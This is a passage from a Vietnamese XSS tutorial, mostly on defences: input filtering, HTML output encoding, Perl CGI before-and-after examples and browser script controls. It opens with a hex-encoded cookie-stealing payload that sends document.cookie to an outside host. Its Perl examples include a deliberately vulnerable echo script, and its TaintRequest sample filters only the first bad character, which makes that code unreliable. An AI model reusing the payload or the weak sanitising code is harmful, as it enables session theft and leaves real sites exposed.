%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%6

3%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%

65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e

---------------------------------

link site chuyển đổi sang số HEX:

http://www.swingnote.com/tools/txt2hex.php hoặc http://ha.ckers.org/xss.html

VII. PHÒNG CHỐNG XSS

Nhƣ đã đề cập ở trên, một tấn công XSS chỉ thực hiện đƣợc khi gửi một trang

web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công.

Ngƣời ta không lƣờng hết đƣợc mức độ nguy hiểm của XSS nhƣng cũng không

quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề

này. OWASP (The Open Web Application Standard Project) nói rằng để có thể

xây dựng các website bảo mật cao đảm bảo những trang phát sinh động không

chứa các tag của script, đối với các dữ liệu của ngƣời sử dụng bạn nên làm những

việc sau:

1. Với những dữ liệu người thiết kế và phát triển ứng dụng Web

Những dữ liệu, thông tin nhập của ngƣời dùng, ngƣời thiết kế và phát triển ứng

dụng Web cần phải thực hiện vài bƣớc cơ bản sau:

Chỉ chấp nhận những dữ liệu hợp lệ.

Page 24: Kỹ Thuật Tấn Công XSS

24 AN NINH MẠNG

Từ chối nhận các dữ liệu hỏng.

Liên tục kiểm tra và thanh lọc dữ liệu.

Tạo ra danh sách những thẻ HTML đƣợc phép sử dụng, xóa bỏ thẻ <script> hoặc

đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó nhƣ là một đoạn

trích dẫn thôi.

Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related

Lọc dấu nháy đơn hay kép

Lọc kí tự Null

Xóa những kí tự “ > ”, “ < ” hoặc Output Encoding các dòng nhƣ sau

< &lt; > &gt;

( &#40; ) &#41;

# &#35; & &#38;

Vẫn cho phép nhập những kí tự đặc biệt nhƣng sẽ đƣợc mã hóa theo chuẩn riêng

Mã hóa

Lỗi XSS có thể tránh đƣợc khi máy chủ Web đảm bảo những trang phát sinh

đƣợc mã hóa (encoding) thích hợp để ngăn chạy chạy các script không mong

muốn.

Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi

qua một hàm mã hóa nơi mà các thẻ script sẽ đƣợc thay thể bởi mã của nó.

Nói chung, việc mã hóa(encoding) đƣợc khuyến khích sử dụng vì nó không yêu

cầu bạn phải đƣa ra quyết định những kí tự nào là hợp lệ hoặc không hợp lệ.Tuy

nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và

ảnh hƣởng đến khả năng thực thi của một số máy chủ

Tuy nhiên trên thực tế, một số trƣờng hợp bạn phải chấp nhận mọi loại dữ liệu

hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để

giải quyết.

Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trƣớc khi

in ra website, nhất là những gì có thể gây nguy hiểm cho ngƣời sử dụng. Trong

Page 25: Kỹ Thuật Tấn Công XSS

25 AN NINH MẠNG

trƣờng hợp này thẻ script sẽ đƣợc đổi thành script. Nhƣ vậy nó sẽ vẫn đƣợc in

ra màn hình mà không hề gây nguy hiểm cho ngƣời sử dụng.

Tôi lấy ví dụ với script search.cgi với mã nguồn là:

#!/usr/bin/perl

use CGI;

my $cgi = CGI->new();

my $query = $cgi->param('query');

print $cgi->header();

print "You entered $query";

Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu đƣợc nhập

vào. Dĩ nhiên là khi in ra, nó sẽ in ra dƣới dạng đoạn mã HTML, nhƣ thế nó không

chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn

lỗi XSS.

Nhƣ đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự

đặc biệt của HTML với hàm HTML::Entities::encode(). Nhƣ vậy ta có thể có một

mã nguồn hoàn hảo hơn nhƣ sau:

#!/usr/bin/perl

use CGI;

use HTML::Entities;

my $cgi = CGI->new();

my $text = $cgi->param('text');

print $cgi->header();

print "You entered ", HTML::Entities::encode($text);

Tất nhiên với phƣơng pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ

Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trƣớc

khi in ra, các bạn có thể dùng một chƣơng trình đƣợc viết bằng ngôn nhữ PHP, đặc

biệt nó đƣợc thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chƣơng

Page 26: Kỹ Thuật Tấn Công XSS

26 AN NINH MẠNG

trình từ http://www.mricon.co.../phpfilter.html Lọc và mã hoá các dữ liệu cho vấn là

cách tốt nhất để chống XSS nhƣng nếu bạn đang sử dụng mod_perl trên Apache

Server thì bạn có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn

chƣơng trình sẽ có dạng:

use Apache::TaintRequest;

my $apr = Apache::TaintRequest->new(Apache->request);

my $text = $apr->param('text');

$r->content_type("text/html");

$r->send_http_header;

$text =~ s/[^A-Za-z0-9 ]//;

$r->print("You entered ", $text);

2. Đối với người dùng.

Cần cấu hình lại trình duyệt để nhắc nhở ngƣời dùng có cho thực thi ngôn ngữ

kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà ngƣời dùng sẽ

quyết định

Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript - kiểm

soát script từ web

Dùng IE thì ta có thể vào Options/Setting /..chúng ta Disable Script.

Tƣơng tự với Google Chrome và các trình duyệt khác.

Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào các

link, và với email chúng ta cần phải kiểm tra các link hay những hình ảnh quảng

cáo thật kĩ. Và tóm lại chúng ta sẽ an toàn hơn khi có sự cảnh giác cao hơn.

Page 27: Kỹ Thuật Tấn Công XSS

27 AN NINH MẠNG

VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS

Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây:

• Cookie cố định (của site bị lỗi XSS) đƣợc duy trì bởi trình duyệt.

• RAM Cookie (của site bị lỗi XSS)

• Tên của tất cả các cửa sổ đƣợc mở từ site bị lỗi XSS

• Bất cứ thông tin mà có thể truy cập đƣợc từ DOM hiện tại (nhƣ value, mã

HTML…)

Trong thời gian vừa qua ta thấy rằng phƣơng pháp tấn công vào lỗi XSS của các

trang web vẫn nằm ở con số rất cao chỉ sau SQL Injection. Cho nên phƣơng pháp

tấn công XSS vẫn đƣợc coi nhƣ là rất khả thi để thực hiện và việc tấn công vẫn còn

rộng rãi.

IX. ĐÁNH GIÁ

Các hiểm họa trong môi trường Internet

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, và mức độ thiệt hại của chúng

có thể gây những hậu quá rất nghiêm trọng. Vì thế, ngoài việc ứng dụng kiểm tra

Page 28: Kỹ Thuật Tấn Công XSS

28 AN NINH MẠNG

tính đúng đắn của dữ liệu trƣớc khi sử dụng thì việc cần nhất là ngƣời dùng nên

cảnh giác trƣớc khi bƣớc vào một trang Web mới hay khi nhận đƣợc một email rất

thu hút nào đó. Có thể nói, nhờ vào sự cảnh giác của ngƣời dùng thì 90% đã đạt

đƣợc sự bảo mật trong kĩ thuật này.

TÀI LIỆU THAM KHẢO:

1. Security - 2009 - Network security guide – COMPTIA

2. Security - 2010 - 7 deadliest attacks - Web app

3. Bảo vệ một website – Nhóm SV ĐH Bách Khoa TP.HCM

4. http://ha.ckers.org/xss.html

5. http://www.hungry-hackers.com/2010/09/xss-cross-site-scripting-attack.html

6. http://vibe.vn/threads/35350/

7. https://www.owasp.org/index.php/XSS